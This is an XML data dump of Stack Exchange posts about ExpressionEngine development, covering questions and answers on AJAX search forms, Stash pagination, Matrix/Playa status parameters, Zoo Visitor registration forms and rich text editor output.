  <row Id="3600" PostTypeId="2" ParentId="3568" CreationDate="2013-01-11T04:12:09.600" Score="1" Body="&lt;p&gt;Another option is to just have the client enter the video ID and you hard code the iframe embed code into your template. I do this when I need finite control over the video code.&lt;/p&gt;&#xA;&lt;p&gt;In the field's description, I link to a screenshot showing them how/where to get the video ID from the video URL. Something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z72kO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Obviously, this will only work if the video isn't embedded in copy and is a unique field.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-11T04:17:13.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3601" PostTypeId="2" ParentId="3596" CreationDate="2013-01-11T04:13:18.683" Score="2" Body="&lt;p&gt;@juddlyon is correct. I personally prefer to use the the &lt;a href=&quot;http://malsup.com/jquery/form/&quot; rel=&quot;nofollow&quot;&gt;jQuery form plugin&lt;/a&gt; which kind of negates the need for the url tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:template_group=&quot;your-template-group&quot;}&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;script src=&quot;http://code.jquery.com/jquery-latest.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;http://malsup.github.com/jquery.form.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;$(function() {&#xA;&#xA;    var $pageWrap = $('.wrap');&#xA;&#xA;    var options = {&#xA;        target: $pageWrap,&#xA;        beforeSubmit:  showRequest,&#xA;        success: showResponse&#xA;    };&#xA;&#xA;    // Show loading message and submit form&#xA;    function showRequest(formData, jqForm, options) {&#xA;        $pageWrap.addClass(&quot;loading&quot;).prepend('&amp;lt;div class=&quot;search-load&quot;&amp;gt;Searching&amp;lt;/div&amp;gt;');&#xA;        return true;&#xA;    }&#xA;&#xA;    function showResponse() {&#xA;        $pageWrap.removeClass('loading');&#xA;    }&#xA;&#xA;    // bind to the form's submit event&#xA;    $('#filter').submit(function() {&#xA;        $(&quot;#filter&quot;).ajaxSubmit(options);&#xA;        return false;&#xA;    });&#xA;&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;        {exp:low_search:form&#xA;            form_id=&quot;filter&quot; &#xA;            collection=&quot;insert_your_collection&quot; &#xA;            result_page=&quot;/{template_group}/results&quot;&#xA;            search_mode=&quot;any&quot;&#xA;            encode=&quot;no&quot;&#xA;        }&#xA;            &amp;lt;label for=&quot;keywords&quot;&amp;gt;Keywords&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; /&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Search&quot; /&amp;gt;&#xA;        {/exp:low_search:form}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="306" LastEditorUserId="306" LastEditDate="2013-01-28T03:47:24.250" LastActivityDate="2013-01-28T03:47:24.250" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3602" PostTypeId="2" ParentId="3520" CreationDate="2013-01-11T04:31:39.760" Score="0" Body="&lt;p&gt;Scheduling in EE isn't easy to setup. Your best bet is to look into Justin's addon or to look at a 3rd party tool which would sit inside an EE template but be served by the 3rd party service via JS or a script you install on the same server which lives beside EE on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are tons of options for Salon scheduling which do the job well... For example &lt;a href=&quot;http://www.simplesalon.com&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Simple Salon&lt;/strong&gt;&lt;/a&gt; has a small monthly fee, no contract, SMS reminders and online bookings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Google search for &quot;online scheduling for salons&quot; will get you a ton of options.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-01-11T04:36:54.403" LastActivityDate="2013-01-11T04:36:54.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3603" PostTypeId="1" CreationDate="2013-01-11T06:07:43.843" Score="5" ViewCount="2570" Body="&lt;p&gt;I am developing a website in ExpressionEngine and I am a newbie for ExpressionEngine and CodeIgniter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a form on page and want to insert it data after submission to my customized table in ExpressionEngine .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to go deep in ExpressionEngine. I just want a form on page and when user submit the form all fields value insert into my custom table. &lt;/p&gt;&#xA;" OwnerUserId="762" LastEditorUserId="28" LastEditDate="2013-01-13T01:17:21.000" LastActivityDate="2013-01-14T17:57:17.473" Title="How to create a form and insert form data to database in ExpressionEngine?" Tags="|safecracker|forms|mysql|solspace-freeform|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3604" PostTypeId="1" AcceptedAnswerId="3607" CreationDate="2013-01-11T06:18:19.887" Score="1" ViewCount="101" Body="&lt;p&gt;I'm having an issue with displaying custom statuses in my playa-within-matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking at an entry (on the front end) that has 4 matrix rows with a related entry in each. 3 of the related entries have a &quot;Paid&quot; status and one is &quot;open&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this code, I only see the one entry with the open status:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field}&#xA;  {playa_field}&#xA;    {title}&#xA;  {/playa_field}&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is fair enough, but if I add the status parameter I still see no entries, even if it's just status=&quot;open&quot;. ie both of these show no entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field}&#xA;  {playa_field status=&quot;open&quot;}&#xA;    {title}&#xA;  {/playa_field}&#xA;{/matrix_field}&#xA;&#xA;{matrix_field}&#xA;  {playa_field status=&quot;open|Paid&quot;}&#xA;    {title}&#xA;  {/playa_field}&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm on EE 2.4.0 with Matrix 2.5 and Playa 4.3.3.&lt;/p&gt;&#xA;" OwnerUserId="763" LastActivityDate="2013-01-11T08:23:39.250" Title="Custom statuses not displayed for playa within a matrix field" Tags="|matrix|playa|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3605" PostTypeId="2" ParentId="3603" CreationDate="2013-01-11T07:10:43.683" Score="5" Body="&lt;p&gt;This will definitely require a module. I recommend taking a look into the developer documentation to get a feel for this. I wouldn't write any code to do what you want without a plugin or module. It's not too difficult to get started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/index.html&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Pkg.io to make your life easier. This will create an installable module as a boilerplate automatically for you. So really, it's the least amount of effort to get a module up and running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pkg.io/&quot;&gt;http://pkg.io/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, take a look at Base Form class, which is my library for making building front-end forms in EE easier. You can use my free add-on Authenticate as an example of how to use it. It has a lot of options already built-in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/objectivehtml/Base-Form&quot;&gt;https://github.com/objectivehtml/Base-Form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/objectivehtml/Authenticate&quot;&gt;https://github.com/objectivehtml/Authenticate&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-11T07:10:43.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3606" PostTypeId="2" ParentId="3526" CreationDate="2013-01-11T08:00:39.137" Score="2" Body="&lt;p&gt;Solution was, as suggested by @NevinLyne, to contact tech support who made certain the backend was configured properly and uncovered a glitch in my htaccess file I'd never have uncovered.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-11T08:00:39.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3607" PostTypeId="2" ParentId="3604" CreationDate="2013-01-11T08:23:39.250" Score="3" Body="&lt;p&gt;There were some parsing issues in Matrix in 2.5 for fields that had parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeing as how you say that when using {playa_field status=&quot;open&quot;} causes no entries to display leads me to believe that you're affected by that one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrade Matrix to the latest version (2.5.2 currently) and that should fix your issue.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-01-11T08:23:39.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3608" PostTypeId="1" AcceptedAnswerId="3620" CreationDate="2013-01-11T10:56:40.237" Score="1" ViewCount="82" Body="&lt;p&gt;I'm doing a Zoo Visitor registration. If there's a problem with the user inputs, the errors show up fine but it blanks the form. I added code that I thought would fill the values in again but nothing gets filled in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;email&quot;&amp;gt;First Name:*&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;input_wrap&quot;&amp;gt;&#xA;        &amp;lt;input id=&quot;member_firstname&quot; name=&quot;member_firstname&quot; type=&quot;text&quot; value=&quot;{member_firstname}&quot; /&amp;gt;&#xA;        {if error:member_firstname}&amp;lt;span class=&quot;error&quot;&amp;gt;{error:member_firstname}&amp;lt;/span&amp;gt;{/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;email&quot;&amp;gt;Last Name:*&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;input_wrap&quot;&amp;gt;&#xA;        &amp;lt;input id=&quot;member_lastname&quot; name=&quot;member_lastname&quot; type=&quot;text&quot; value=&quot;{member_lastname}&quot; /&amp;gt;&#xA;        {if error:member_lastname}&amp;lt;span class=&quot;error&quot;&amp;gt;{error:member_lastname}&amp;lt;/span&amp;gt;{/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;email&quot;&amp;gt;Email:*&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;input_wrap&quot;&amp;gt;&#xA;        &amp;lt;input id=&quot;email&quot; name=&quot;email&quot; type=&quot;text&quot; value=&quot;{email}&quot; /&amp;gt;&#xA;        {if error:email}&amp;lt;span class=&quot;error&quot;&amp;gt;{error:email}&amp;lt;/span&amp;gt;{/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And as I'm writing this I'm wondering has it something to do with parse order? We're using stash and maybe it's causing it not to load or is being overwritten during parsing. For the email field, having {email} as the value, always returns the email address of the super admin account. I've tried this in different browsers, logged out, incognito windows, etc. Always the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From looking at code examples and safecracker, zoo visitor stuff, I was under the impression that I use the form element name/id as the EE tag to fill it with data. Maybe I need a prefix or I've got something else running that's causing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestions would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="176" LastActivityDate="2013-01-11T14:33:16.440" Title="Using Zoo Visitor, on form submit error, entered values don't fill into form" Tags="|safecracker|forms|safecracker-registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3609" PostTypeId="1" AcceptedAnswerId="4782" CreationDate="2013-01-11T10:58:19.063" Score="3" ViewCount="261" Body="&lt;p&gt;I'm using Stash and Switchee to build some paginated News entries. However, when I click through to Page 2 and beyond, my page title changes to the latest entry in the CMS. Wondered if anyone had a solution for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from the code below, I have a news index page - which I have created as a Page in the CMS at mydomain.tld/news and then within this same template I'm also building up some paginated results rows of news articles. I set a title value for the index page which works fine (this then gets pulled through to the embedded _layouts/index page with the tag {exp:stash:get name=&quot;title&quot;}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content of _layouts/index;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body id=&quot;page mobile-view&quot; class=&quot;off-canvas hide-extras {exp:stash:get name='body_class'}&quot;&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;size&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;&#xA;&amp;lt;h1&amp;gt;{exp:stash:get name=&quot;page_title&quot;}&amp;lt;/h1&amp;gt;&#xA;&#xA;{exp:stash:get name=&quot;content&quot;}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Content of news/index;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_layouts/index&quot;}&#xA;{preload_replace:channel=&quot;news&quot;}&#xA;&#xA;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {!-- News index --}&#xA;    {case value=&quot;#^P(\d+)$#|''&quot;}&#xA;&#xA;        {exp:channel:entries&#xA;            channel=&quot;page&quot;&#xA;            status=&quot;open&quot;&#xA;            limit=&quot;1&quot;&#xA;            {global:channel_disable_most}&#xA;        }&#xA;&#xA;            {exp:stash:set name=&quot;page_title&quot;}{title}{/exp:stash:set}&#xA;&#xA;        {/exp:channel:entries}&#xA;&#xA;        {exp:stash:set parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;&#xA;            {stash:results_rows}&#xA;                {exp:channel:entries&#xA;                    channel=&quot;{channel}&quot;&#xA;                    orderby=&quot;date&quot;&#xA;                    sort=&quot;desc&quot;&#xA;                    limit=&quot;6&quot;&#xA;                    dynamic=&quot;no&quot;&#xA;                    status=&quot;not closed&quot;&#xA;                    paginate=&quot;bottom&quot;&#xA;                }&#xA;&#xA;                    &amp;lt;div class=&quot;twelve columns other_news&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;three columns&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{site_url}news/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;&#xA;                                {exp:ce_img:pair&#xA;                                    src=&quot;{news_leaderimage}&quot;&#xA;                                    height=&quot;218&quot;&#xA;                                    width=&quot;380&quot;&#xA;                                    attributes='style=&quot;width:100%;&quot;'&#xA;                                }&#xA;                                    &amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;                                {/exp:ce_img:pair}&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;nine columns&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;sub-padding3a&quot;&amp;gt;&#xA;                                &amp;lt;h1 class=&quot;title4&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}news/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                                &amp;lt;p class=&quot;paragraph1 date&quot;&amp;gt;Added &amp;lt;span&amp;gt;{entry_date format=&quot;{global:date_short}&quot;}&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;div class=&quot;paragraph1&quot;&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;{news_summary} &amp;lt;a class=&quot;oLink&quot; href=&quot;{site_url}news/{url_title}&quot; title=&quot;Read More about {title}&quot;&amp;gt;&amp;amp;#0187; Read More&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    {stash:absolute_results}{absolute_results}{/stash:absolute_results}&#xA;&#xA;                    {paginate}&#xA;                        {stash:pagination_summary}&#xA;                            &amp;lt;div style=&quot;width:30%; float:left;&quot;&amp;gt;&#xA;                                Page {current_page} of {total_pages}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        {/stash:pagination_summary} &#xA;                        {stash:pagination_links}&#xA;                            {pagination_links}&#xA;                                &amp;lt;div class=&quot;refit&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;refit-inner&quot;&amp;gt;&#xA;                                        {previous_page}&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;lt;strong&amp;gt;&amp;amp;laquo; Previous&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;{/previous_page}&#xA;&#xA;                                        &amp;lt;div class=&quot;push&quot;&amp;gt;&#xA;                                            {page}&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}selected{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;{/page}&#xA;                                            {next_page}&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;lt;strong&amp;gt;Next &amp;amp;raquo;&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;{/next_page}&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            {/pagination_links}&#xA;                        {/stash:pagination_links}&#xA;                    {/paginate}&#xA;                    {stash:all_items}{absolute_results}{/stash:all_items}&#xA;                    {if count == 1}{stash:first_item}{absolute_count}{/stash:first_item}{/if}&#xA;                    {if count == total_results}{stash:last_item}{absolute_count}{/stash:last_item}{/if}&#xA;                {/exp:channel:entries}&#xA;            {/stash:results_rows}&#xA;&#xA;        {/exp:stash:set}&#xA;&#xA;        {exp:stash:set name=&quot;content&quot;}&#xA;&#xA;            {exp:stash:get name=&quot;results_rows&quot;}&#xA;            {exp:stash:get name=&quot;pagination_summary&quot;}&#xA;            {exp:stash:get name=&quot;pagination_links&quot;}&#xA;&#xA;        {/exp:stash:set}&#xA;&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look forward to any helping fixing this bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you. :)&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="466" LastEditDate="2013-01-14T15:44:28.503" LastActivityDate="2013-01-15T08:22:12.500" Title="Page title incorrect on stash paginated results" Tags="|stash|switchee|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3610" PostTypeId="1" AcceptedAnswerId="3612" CreationDate="2013-01-11T11:12:12.277" Score="4" ViewCount="808" Body="&lt;ul&gt;&#xA;&lt;li&gt;In EE's Rich Text editor, I typed in the following content.&lt;/li&gt;&#xA;&lt;li&gt;I did not do any fancy markup or formatting.&lt;/li&gt;&#xA;&lt;li&gt;All I did was set each heading to an H4, and typed paragraphs normally.&lt;/li&gt;&#xA;&lt;li&gt;I did not touch the code or alter any markup.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is how EE is outputting my (fairly normal) text in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;h4&amp;gt;The Project&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;p&amp;gt;An iconic Lorem Ipsum led shopping centre at Location X. The 65,000 square&amp;amp;nbsp;foot multi-use facility includes a Lorem&amp;amp;nbsp;Ipsum Store built upon stilts to house&amp;amp;nbsp;customer parking underneath, together&amp;amp;nbsp;with 28 retail units, a food court, a&amp;amp;nbsp;petrol filling station and 18,000 square feet of office space.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;div&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        &amp;lt;p&amp;gt;The focus of the design was to make a bold architectural statement and&amp;amp;nbsp;included an ambitious six-storey high,&amp;amp;nbsp;frameless, glass frontage with an&amp;amp;nbsp;unusual curved roof.&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;h4&amp;gt;The Challenge&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;div&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Creating an innovative glass structure,&amp;amp;nbsp;24 metres high with a 10 degree angled lean. Nothing quite like this had ever been attempted in Europe before.&amp;amp;nbsp;It was a first and whilst Company Name had to ensure they were highly attentive to the practical safety aspects of&amp;amp;nbsp;achieving the construction, they also&amp;amp;nbsp;had to think about the clients aesthetic&amp;amp;nbsp;objectives to creating a striking piece&amp;amp;nbsp;of architecture that would draw in&amp;amp;nbsp;shoppers.&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am confused why so many blank &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags are output, and why each subsequent paragraph is nested further and further into a series of nested &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;s. Is this normal behaviour for EE? It breaks my styling slightly, as &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; have small margins on them. If I were to code this manually, I would put something like &lt;code&gt;&amp;lt;h4&amp;gt;The Project&amp;lt;/h4&amp;gt; &amp;lt;p&amp;gt;The text[...]&amp;lt;/p&amp;gt;&lt;/code&gt; - without wrapping the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; in a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do about this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2013-01-11T12:09:14.443" Title="ExpressionEngine Rich Text - the HTML Output is coming out weird" Tags="|templates|custom-fields|richtext|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3611" PostTypeId="1" AcceptedAnswerId="3617" CreationDate="2013-01-11T11:47:34.450" Score="2" ViewCount="92" Body="&lt;p&gt;I'm using &lt;a href=&quot;https://objectivehtml.com/safecracker-registration/&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/safecracker-registration/&lt;/a&gt;. When users register on my site, the &lt;code&gt;channel&lt;/code&gt; parameter is set different based on certain business rules. Is there a way for me to later on determine which Channel the current member was associated to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible solution is to have a Channel field to store this particular information. Then I can use the Safecracker tag with Safecracker registration's &lt;code&gt;edit_member=&quot;yes&quot;&lt;/code&gt;, access the Channel data, store it in a Stash, then use it for whatever I need it later on. Seems clunky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-01-11T12:09:31.120" LastActivityDate="2013-01-11T15:38:33.713" Title="Safecracker Registration: which Channel is Member associated with?" Tags="|members|safecracker|safecracker-registration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3612" PostTypeId="2" ParentId="3610" CreationDate="2013-01-11T12:09:14.443" Score="1" Body="&lt;p&gt;Whilst this does not solve the issue that you are having with the WYSIWYG editor that is provided with ExpressionEngine, you can upgrade to a different WYSIWYG add-on like &lt;a href=&quot;http://devot-ee.com/add-ons/editor&quot; rel=&quot;nofollow&quot;&gt;Editor&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow&quot;&gt;Wygwam&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these are robust though I prefer Editor because it also adds WYSIWYG to the category description field. Though to be honest these are both fantastic add-ons.&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2013-01-11T12:09:14.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3613" PostTypeId="1" CreationDate="2013-01-11T13:08:33.853" Score="2" ViewCount="83" Body="&lt;p&gt;We are using P&amp;amp;T List for one of our channels. On save, all content wrapped in quotes is dropped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;I like beautiful melodies telling me terrible things.&quot; ― Tom Waits&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;is saved as: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;— Tom Waits&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of note, placing a space before and after the quote mark keeps the full text, so:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Clear the thistles and brambles, Whistle &quot; Didn't He Ramble &quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...will save as entered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an issue especially since we are looking to enter dimensions in the P&amp;amp;T list field (like 3&quot; x 4.25&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of note, the issue appears intermittently, deleting content between quotation marks on roughly 80-85% of the saved entries, but leaving a lucky few to survive. As of yet, we haven't been able predict which ones are saved. &lt;/p&gt;&#xA;" OwnerUserId="756" LastEditorUserId="756" LastEditDate="2013-01-12T18:53:54.540" LastActivityDate="2013-01-12T18:53:54.540" Title="P&amp;T List: Information wrapped in quotes dropped on save" Tags="|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3614" PostTypeId="1" AcceptedAnswerId="3616" CreationDate="2013-01-11T13:12:48.060" Score="0" ViewCount="72" Body="&lt;p&gt;I have a list a dynamically created links in my sidebar.  I want one particular link to appear first in the list; the order after that is unimportant.  How could I accomplish this?  Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;categories&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{path=ministries}&quot;&amp;gt;&amp;lt;h2 class=&quot;section-header&quot;&amp;gt;Ministries&amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {exp:channel:entries channel=&quot;ministries&quot; dynamic=&quot;no&quot; {gv_param_disable_all}}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a{if segment_2 == url_title || url_title ==&quot;get-involved&quot; &amp;amp;&amp;amp; segment_2 == &quot;&quot;} class=&quot;current&quot;{/if} href=&quot;{homepage}/ministries/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:channel:entries}      &#xA;&amp;lt;/ul&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-11T13:22:01.167" Title="set order of dynamically created links" Tags="|channel-entries|list|dynamic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
